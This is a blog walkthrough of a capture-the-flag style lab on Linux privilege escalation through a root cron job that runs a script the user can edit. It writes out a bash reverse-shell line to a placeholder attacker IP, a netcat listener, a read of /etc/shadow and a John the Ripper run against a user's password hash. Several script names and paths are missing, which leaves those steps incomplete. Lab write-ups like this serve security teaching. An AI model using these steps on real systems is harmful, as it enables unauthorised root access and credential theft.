Privilege Escalation: Cron Jobs

Hacking Truth


Privilege Escalation: Cron Job

Privilege escalation ideally leads to root privileges. This can sometimes be achieved simply by exploiting an existing vulnerability, or in some cases by accessing another user account that has more privileges, information, or access.

Cron jobs are used to run scripts or binaries at specific times. By default, they run with the privilege of their owners and not the current user. While properly configured cron jobs are not inherently vulnerable, they can provide a privilege escalation vector under some conditions.

The idea is quite simple; if there is a scheduled task that runs with root privileges and we can change the script that will be run, then our script will run with root privileges.

Cron job configurations are stored as crontabs (cron tables) to see the next time and date the task will run.

Each user on the system have their crontab file and can run specific tasks whether they are logged in or not. As you can expect, our goal will be to find a cron job set by root and have it run our script, ideally a shell.

Any user can read the file keeping system-wide cron jobs under /etc/crontab

While CTF machines can have cron jobs running every minute or every 5 minutes, you will more often see tasks that run daily, weekly or monthly in penetration test engagements.

First we will use ssh and we will come inside his house wihtout informing ( atithi devo bhaava ) :-p



Privilege Escalation: Cron Jobs


# How many cron jobs can you see on the target system?

Ans: 4

We can list the running cron jobs by typing in cat /etc/crontab

$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.


# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * *  root /
* * * * *  root
* * * * *  root /home/karen/
* * * * *  root /tmp/


Privilege Escalation: Cron Jobs

There is one thing remind call..

Crontab is always worth checking as it can sometimes lead to easy privilege escalation vectors. The following scenario is not uncommon in companies that do not have a certain cyber security maturity level:

  •     System administrators need to run a script at regular intervals.
  •     They create a cron job to do this
  •     After a while, the script becomes useless, and they delete it
  •     They do not clean the relevant cron job

This change management issue leads to a potential exploit leveraging cron jobs.

if you find antivirus script inside your target machine then there's no file display because file will be deleted by someone but in cronjobs script file is still there so we have a opporunity to exploit them.

If the full path of the script is not defined (as it was done for the script), cron will refer to the paths listed under the PATH variable in the /etc/crontab file. In this case, we should be able to create a script named “” under our user’s home folder and it should be run by the cron job.

If we try to access the “flag5.txt” file present in the “/home/ubuntu” directory, we can see that we don’t have access to it.

Privilege Escalation: Cron Jobs

Since we know that there’s a cron job set up for the “” file to run every min from the previous enumeration, we can attempt to exploit the script here.

We can type in nano to open up nano editor and add in our bash reverse shell script to the “” file.

bash -i >& /dev/tcp/<OUR_MACHINE_IP>/<PORT> 0>&1

Privilege Escalation: Cron Jobs

I forgot to check if the script file was set to executable or not, and I kept waiting for the reverse shell and it never connected back, I wasted hours googling, modifying my bash shell, trying to figure out why my cron job script isn’t working. I was about to give up until I noticed the permissions…

I feel dumb for wasting hours on something so simple, but well we all learn from our mistakes, and am no pro anyways.

So, I made the file executable:

chmod +x


Privilege Escalation: Cron Jobs

In the other terminal, I started netcat listener and waited for the script to run...


nc -nvlp 4444

Privilege Escalation: Cron Jobs

Now, we can see the content of flag5.txt


Privilege Escalation: Cron Jobs

# What is Matt’s password?


As we already have root privileges, we can access the shadow file and try to crack Matt’s password using John.

root@ip-10-10-32-249:/home/ubuntu# cat /etc/shadow | grep matt
cat /etc/shadow | grep matt

└─$ nano mattpassword.txt                                                      
└─$ sudo john --wordlist=/home/hackerboy/Documents/rockyou.txt mattpassword.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456           (?)     
1g 0:00:00:00 DONE (2023-01-07 11:29) 1.492g/s 382.0p/s 382.0c/s 382.0C/s 123456..freedom
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
└─$ cat mattpassword.txt
└─$ sudo john --show mattpassword.txt                                           

1 password hash cracked, 0 left

cat /etc/shadow | grep

Privilege Escalation: Cron Jobs

Privilege Escalation: Cron Jobs


All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.


Post a Comment

* Please Don't Spam Here. All the Comments are Reviewed by Admin.
Post a Comment (0)
Our website uses cookies to enhance your experience. Learn More
Accept !